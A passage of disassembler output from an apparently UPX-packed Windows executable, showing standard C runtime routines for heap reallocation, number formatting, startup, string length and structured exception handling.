		push	[ebp+var_20]
		call	sub_40D00C
		add	esp, 14h


loc_40B9AB:				; CODE XREF: sub_40B8A1+66j
					; sub_40B8A1+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40B9E5
		cmp	[ebp+var_20], 0
		jnz	short loc_40B9EE
		test	esi, esi
		jnz	short loc_40B9C2
		inc	esi


loc_40B9C2:				; CODE XREF: sub_40B8A1+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	dword_42E724
		call	dword_41D1A0	; RtlReAllocateHeap
		mov	edi, eax
		jmp	short loc_40B9F1
sub_40B8A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9DF	proc near		; DATA XREF: UPX0:004268B0o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_40B9DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B9E5	proc near		; CODE XREF: sub_40B8A1+111p
		push	4
		call	sub_40CECF
		pop	ecx
		retn
sub_40B9E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8A1


loc_40B9EE:				; CODE XREF: sub_40B8A1+11Aj
		mov	edi, [ebp+var_1C]


loc_40B9F1:				; CODE XREF: sub_40B8A1+13Cj
		test	edi, edi
		jnz	loc_40BAB8
		cmp	dword_42EBC8, edi
		jz	short loc_40BA2D
		push	esi
		call	sub_40DFCB
		pop	ecx
		test	eax, eax
		jnz	loc_40B8E2
		call	sub_40C862
		cmp	[ebp+var_20], edi
		jnz	short loc_40BA86


loc_40BA1A:				; CODE XREF: sub_40B8A1+1F8j
		mov	esi, eax
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40C820
		pop	ecx
		mov	[esi], eax
		jmp	short loc_40BA8C
; ---------------------------------------------------------------------------


loc_40BA2D:				; CODE XREF: sub_40B8A1+15Ej
		test	edi, edi
		jnz	loc_40BAB8
		call	sub_40C862
		cmp	[ebp+var_20], edi
		jz	short loc_40BAA7
		mov	dword ptr [eax], 0Ch
		jmp	short loc_40BAB8
; ---------------------------------------------------------------------------


loc_40BA47:				; CODE XREF: sub_40B8A1+1D7j
		test	esi, esi
		jnz	short loc_40BA4C
		inc	esi


loc_40BA4C:				; CODE XREF: sub_40B8A1+1A8j
		push	esi
		push	ebx
		push	0
		push	dword_42E724
		call	dword_41D1A0	; RtlReAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40BAB8
		cmp	dword_42EBC8, eax
		jz	short loc_40BA9E
		push	esi
		call	sub_40DFCB
		pop	ecx
		test	eax, eax
		jz	short loc_40BA94


loc_40BA75:				; CODE XREF: sub_40B8A1+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_40BA47


loc_40BA7A:				; CODE XREF: sub_40B8A1+49j
		push	esi
		call	sub_40DFCB
		pop	ecx
		call	sub_40C862


loc_40BA86:				; CODE XREF: sub_40B8A1+177j
		mov	dword ptr [eax], 0Ch


loc_40BA8C:				; CODE XREF: sub_40B8A1+2Fj
					; sub_40B8A1+18Aj
		xor	eax, eax


loc_40BA8E:				; CODE XREF: sub_40B8A1+1Cj
					; sub_40B8A1+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_40BA94:				; CODE XREF: sub_40B8A1+1D2j
		call	sub_40C862
		jmp	loc_40BA1A
; ---------------------------------------------------------------------------


loc_40BA9E:				; CODE XREF: sub_40B8A1+1C7j
		test	edi, edi
		jnz	short loc_40BAB8
		call	sub_40C862


loc_40BAA7:				; CODE XREF: sub_40B8A1+19Cj
		mov	esi, eax
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40C820
		mov	[esi], eax
		pop	ecx


loc_40BAB8:				; CODE XREF: sub_40B8A1+152j
					; sub_40B8A1+18Ej ...
		mov	eax, edi
		jmp	short loc_40BA8E
; END OF FUNCTION CHUNK	FOR sub_40B8A1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BABC	proc near		; CODE XREF: sub_408F0F+7p
					; sub_415EED+37p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0Ah
		push	0
		push	[ebp+arg_0]
		call	sub_40F324
		add	esp, 0Ch
		pop	ebp
		retn
sub_40BABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAD2	proc near		; CODE XREF: sub_40BB16+1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_40BAE3
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	eax


loc_40BAE3:				; CODE XREF: sub_40BAD2+9j
		push	esi
		mov	esi, ecx


loc_40BAE6:				; CODE XREF: sub_40BAD2+2Bj
		xor	edx, edx
		div	[ebp+arg_0]
		cmp	edx, 9
		jbe	short loc_40BAF5
		add	dl, 57h
		jmp	short loc_40BAF8
; ---------------------------------------------------------------------------


loc_40BAF5:				; CODE XREF: sub_40BAD2+1Cj
		add	dl, 30h


loc_40BAF8:				; CODE XREF: sub_40BAD2+21j
		mov	[ecx], dl
		inc	ecx
		test	eax, eax
		ja	short loc_40BAE6
		mov	byte ptr [ecx],	0
		dec	ecx


loc_40BB03:				; CODE XREF: sub_40BAD2+3Dj
		mov	dl, [esi]
		mov	al, [ecx]
		mov	[ecx], dl
		dec	ecx
		mov	[esi], al
		inc	esi
		cmp	esi, ecx
		jb	short loc_40BB03
		pop	esi
		pop	ebp
		retn	8
sub_40BAD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB16	proc near		; CODE XREF: sub_408F0F+3Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_40BB29
		cmp	[ebp+arg_0], eax
		jge	short loc_40BB29
		inc	eax


loc_40BB29:				; CODE XREF: sub_40BB16+Bj
					; sub_40BB16+10j
		mov	ecx, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		call	sub_40BAD2
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_40BB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB3D	proc near		; CODE XREF: sub_409CE5+176p
					; sub_409CE5+194p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41D19C	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_40F350
		cmp	edx, 7
		jl	short loc_40BB80
		jg	short loc_40BB7B
		cmp	eax, 93406FFFh
		jbe	short loc_40BB80


loc_40BB7B:				; CODE XREF: sub_40BB3D+35j
		or	eax, 0FFFFFFFFh
		mov	edx, eax


loc_40BB80:				; CODE XREF: sub_40BB3D+33j
					; sub_40BB3D+3Cj
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_40BB8C
		mov	[ecx], eax
		mov	[ecx+4], edx

locret_40BB8C:				; CODE XREF: sub_40BB3D+48j
		leave
		retn
sub_40BB3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8E	proc near		; CODE XREF: UPX0:0040BC31p
					; UPX0:0040BC42p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	dword_42E3F8, 1
		jnz	short loc_40BBA1
		call	sub_40DF83


loc_40BBA1:				; CODE XREF: sub_40BB8E+Cj
		push	[ebp+arg_0]
		call	sub_40DDD8
		push	0FFh
		call	sub_40DB24
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40BB8E	endp

; ---------------------------------------------------------------------------


loc_40BBB7:				; CODE XREF: UPX0:0040BD3Aj
		push	58h
		push	offset dword_4268B8
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp-4], esi
		lea	eax, [ebp-68h]
		push	eax
		call	dword_41D194	; GetStartupInfoA
		push	0FFFFFFFEh
		pop	edi
		mov	[ebp-4], edi
		mov	eax, 5A4Dh
		cmp	ds:400000h, ax
		jnz	short loc_40BC1E
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_40BC1E
		mov	ecx, 10Bh
		cmp	[eax+400018h], cx
		jnz	short loc_40BC1E
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_40BC1E
		xor	ecx, ecx
		cmp	[eax+4000E8h], esi
		setnz	cl
		mov	[ebp-1Ch], ecx
		jmp	short loc_40BC21
; ---------------------------------------------------------------------------


loc_40BC1E:				; CODE XREF: UPX0:0040BBE4j
					; UPX0:0040BBF5j ...
		mov	[ebp-1Ch], esi


loc_40BC21:				; CODE XREF: UPX0:0040BC1Cj
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_40CDFD
		pop	ecx
		test	eax, eax
		jnz	short loc_40BC37
		push	1Ch
		call	sub_40BB8E
		pop	ecx


loc_40BC37:				; CODE XREF: UPX0:0040BC2Dj
		call	sub_40E4D8
		test	eax, eax
		jnz	short loc_40BC48
		push	10h
		call	sub_40BB8E
		pop	ecx


loc_40BC48:				; CODE XREF: UPX0:0040BC3Ej
		call	sub_40FC85
		mov	[ebp-4], ebx
		call	sub_40FA31
		test	eax, eax
		jge	short loc_40BC61
		push	1Bh
		call	sub_40DAD0
		pop	ecx


loc_40BC61:				; CODE XREF: UPX0:0040BC57j
		call	dword_41D198	; GetCommandLineA
		mov	dword_430294, eax
		call	sub_40F8FA
		mov	dword_42E3F0, eax
		call	sub_40F83F
		test	eax, eax
		jge	short loc_40BC87
		push	8
		call	sub_40DAD0
		pop	ecx


loc_40BC87:				; CODE XREF: UPX0:0040BC7Dj
		call	sub_40F5C7
		test	eax, eax
		jge	short loc_40BC98
		push	9
		call	sub_40DAD0
		pop	ecx


loc_40BC98:				; CODE XREF: UPX0:0040BC8Ej
		push	ebx
		call	sub_40DB8F
		pop	ecx
		cmp	eax, esi
		jz	short loc_40BCAA
		push	eax
		call	sub_40DAD0
		pop	ecx


loc_40BCAA:				; CODE XREF: UPX0:0040BCA1j
		call	sub_40F568
		test	[ebp-3Ch], bl
		jz	short loc_40BCBA
		movzx	ecx, word ptr [ebp-38h]
		jmp	short loc_40BCBD
; ---------------------------------------------------------------------------


loc_40BCBA:				; CODE XREF: UPX0:0040BCB2j
		push	0Ah
		pop	ecx


loc_40BCBD:				; CODE XREF: UPX0:0040BCB8j
		push	ecx
		push	eax
		push	esi
		push	400000h
		call	sub_417692
; ---------------------------------------------------------------------------
		mov	[ebp-20h], eax
		cmp	[ebp-1Ch], esi
		jnz	short loc_40BCD8
		push	eax
		call	sub_40DD40


loc_40BCD8:				; CODE XREF: UPX0:0040BCD0j
		call	sub_40DD6C
		mov	[ebp-4], edi
		jmp	short loc_40BD17
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-24h], ecx
		push	eax
		push	ecx
		call	sub_40F408
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-24h]
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_40BD0B
		push	eax
		call	sub_40DD56


loc_40BD0B:				; CODE XREF: UPX0:0040BD03j
		call	sub_40DD7B
		mov	dword ptr [ebp-4], 0FFFFFFFEh


loc_40BD17:				; CODE XREF: UPX0:0040BCE0j
		mov	eax, [ebp-20h]
		jmp	short loc_40BD2F
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, 0FFh


loc_40BD2F:				; CODE XREF: UPX0:0040BD1Aj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_40BD35:				; CODE XREF: UPX1:00470A29j
		call	sub_40FCD1
		jmp	loc_40BBB7
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40BD40	proc near		; CODE XREF: sub_4016D2+DBp
					; sub_404725+E1p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40BDB5
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_40BD6C
		cmp	edx, 100h
		jb	short loc_40BD6C
		cmp	dword_430144, 0
		jz	short loc_40BD6C
		jmp	sub_40FDBE
; ---------------------------------------------------------------------------


loc_40BD6C:				; CODE XREF: sub_40BD40+14j
					; sub_40BD40+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40BDA5
		neg	ecx
		and	ecx, 3
		jz	short loc_40BD87
		sub	edx, ecx


loc_40BD7D:				; CODE XREF: sub_40BD40+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40BD7D


loc_40BD87:				; CODE XREF: sub_40BD40+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40BDA5
		rep stosd
		test	edx, edx
		jz	short loc_40BDAF


loc_40BDA5:				; CODE XREF: sub_40BD40+32j
					; sub_40BD40+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_40BDA5


loc_40BDAF:				; CODE XREF: sub_40BD40+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40BDB5:				; CODE XREF: sub_40BD40+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40BD40	endp

; ---------------------------------------------------------------------------
		align 4
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE20	proc near		; DATA XREF: __SEH_prolog4o
					; sub_4100F0+Co ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebx+8]
		xor	esi, dword_42A034
		push	edi
		mov	eax, [esi]
		mov	[ebp+var_1], 0
		mov	[ebp+var_C], 1
		lea	edi, [ebx+10h]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40BE59
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AC1C


loc_40BE59:				; CODE XREF: sub_40BE20+2Aj
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AC1C
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_40BF8C
		mov	ecx, [ebp+arg_8]
		lea	edx, [ebp+var_18]
		mov	[ebx-4], edx
		mov	ebx, [ebx+0Ch]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], ecx
		cmp	ebx, 0FFFFFFFEh
		jz	short loc_40BEEC
		lea	ecx, [ecx+0]


loc_40BE90:				; CODE XREF: sub_40BE20+A0j
		lea	eax, [ebx+ebx*2]
		mov	ecx, [esi+eax*4+14h]
		lea	eax, [esi+eax*4+10h]
		mov	[ebp+var_10], eax
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		test	ecx, ecx
		jz	short loc_40BEBB
		mov	edx, edi
		call	sub_40FFFE
		mov	[ebp+var_1], 1
		test	eax, eax
		jl	short loc_40BEF6
		jg	short loc_40BEFF
		mov	eax, [ebp+var_8]


loc_40BEBB:				; CODE XREF: sub_40BE20+85j
		mov	ebx, eax
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40BE90
		cmp	[ebp+var_1], 0
		jz	short loc_40BEEC


loc_40BEC8:				; CODE XREF: sub_40BE20+DDj
					; sub_40BE20+187j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40BEDC
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AC1C


loc_40BEDC:				; CODE XREF: sub_40BE20+ADj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_40AC1C


loc_40BEEC:				; CODE XREF: sub_40BE20+6Bj
					; sub_40BE20+A6j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40BEF6:				; CODE XREF: sub_40BE20+94j
		mov	[ebp+var_C], 0
		jmp	short loc_40BEC8
; ---------------------------------------------------------------------------


loc_40BEFF:				; CODE XREF: sub_40BE20+96j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_40BF33
		cmp	off_41DCA0, 0
		jz	short loc_40BF33
		push	offset off_41DCA0
		call	sub_4100F0
		add	esp, 4
		test	eax, eax
		jz	short loc_40BF33
		mov	edx, [ebp+arg_0]
		push	1
		push	edx
		call	off_41DCA0
		add	esp, 8


loc_40BF33:				; CODE XREF: sub_40BE20+E8j
					; sub_40BE20+F1j ...
		mov	ecx, [ebp+arg_4]
		call	sub_41002E
		mov	eax, [ebp+arg_4]
		cmp	[eax+0Ch], ebx
		jz	short loc_40BF55
		push	offset dword_42A034
		push	edi
		mov	edx, ebx
		mov	ecx, eax
		call	sub_410048
		mov	eax, [ebp+arg_4]


loc_40BF55:				; CODE XREF: sub_40BE20+121j
		mov	ecx, [ebp+var_8]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40BF6F
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AC1C


loc_40BF6F:				; CODE XREF: sub_40BE20+140j
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_40AC1C
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, edi
		call	sub_410015


loc_40BF8C:				; CODE XREF: sub_40BE20+50j
		mov	edx, 0FFFFFFFEh
		cmp	[ebx+0Ch], edx
		jz	loc_40BEEC
		push	offset dword_42A034
		push	edi
		mov	ecx, ebx
		call	sub_410048
		jmp	loc_40BEC8
sub_40BE20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40BFB0	proc near		; CODE XREF: sub_40ACB7+1Ap
					; sub_40AD27+25p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40BFE0


loc_40BFBC:				; CODE XREF: sub_40BFB0+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40C013
		test	ecx, 3
		jnz	short loc_40BFBC
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_40BFE0:				; CODE XREF: sub_40BFB0+Aj
					; sub_40BFB0+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40BFE0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40C031
		test	ah, ah
		jz	short loc_40C027
		test	eax, 0FF0000h
		jz	short loc_40C01D
		test	eax, 0FF000000h
		jz	short loc_40C013
		jmp	short loc_40BFE0
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFB0+13j
					; sub_40BFB0+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40C01D:				; CODE XREF: sub_40BFB0+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40C027:				; CODE XREF: sub_40BFB0+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40C031:				; CODE XREF: sub_40BFB0+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40BFB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C03B	proc near		; CODE XREF: sub_4010D8+12p
					; sub_405CA8+44p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41D58C
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		test	eax, eax
		jz	short loc_40C070
		test	byte ptr [eax],	8
		jz	short loc_40C070
		mov	[ebp+var_C], 1994000h


loc_40C070:				; CODE XREF: sub_40C03B+27j
					; sub_40C03B+2Cj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41D1DC	; RaiseException
		leave
		retn	8
sub_40C03B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: sub_4108BA+67p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_40C087	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40C0B9	proc near		; CODE XREF: sub_4103CB+31p
					; sub_410828+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40C0B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0C0	proc near		; CODE XREF: sub_40C254+6Bp
					; sub_4108BA:loc_4108E4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_40C0EB
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_416F6E	; RtlUnwind


loc_40C0EB:				; DATA XREF: sub_40C0C0+14o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40C0C0	endp

; ---------------------------------------------------------------------------


loc_40C114:				; CODE XREF: UPX0:0041BEEAj
					; UPX0:0041BF05j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_410D80
		add	esp, 20h
		mov	[ebp-8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C14A	proc near		; DATA XREF: sub_40C40D+26o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		cld
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_40AC1C
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [esi+10h]
		push	[ebp+arg_0]
		call	sub_410D80
		add	esp, 20h
		pop	esi
		pop	ebp
		retn
sub_40C14A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C17D	proc near		; CODE XREF: sub_40C254+83p
					; sub_410928+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_40C1A1
		mov	eax, offset loc_40C228
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_40C251
; ---------------------------------------------------------------------------


loc_40C1A1:				; CODE XREF: sub_40C17D+10j
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40C254
		mov	eax, dword_42A034
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_40E38F
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0


loc_40C228:				; DATA XREF: sub_40C17D+12o
		cmp	[ebp+var_4], 0
		jz	short loc_40C245
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40C24E
; ---------------------------------------------------------------------------


loc_40C245:				; CODE XREF: sub_40C17D+AFj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_40C24E:				; CODE XREF: sub_40C17D+C6j
		mov	eax, [ebp+var_38]


loc_40C251:				; CODE XREF: sub_40C17D+1Fj
		pop	ebx
		leave
		retn
sub_40C17D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C254	proc near		; DATA XREF: sub_40C17D+28o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_40AC1C
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_40C286
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
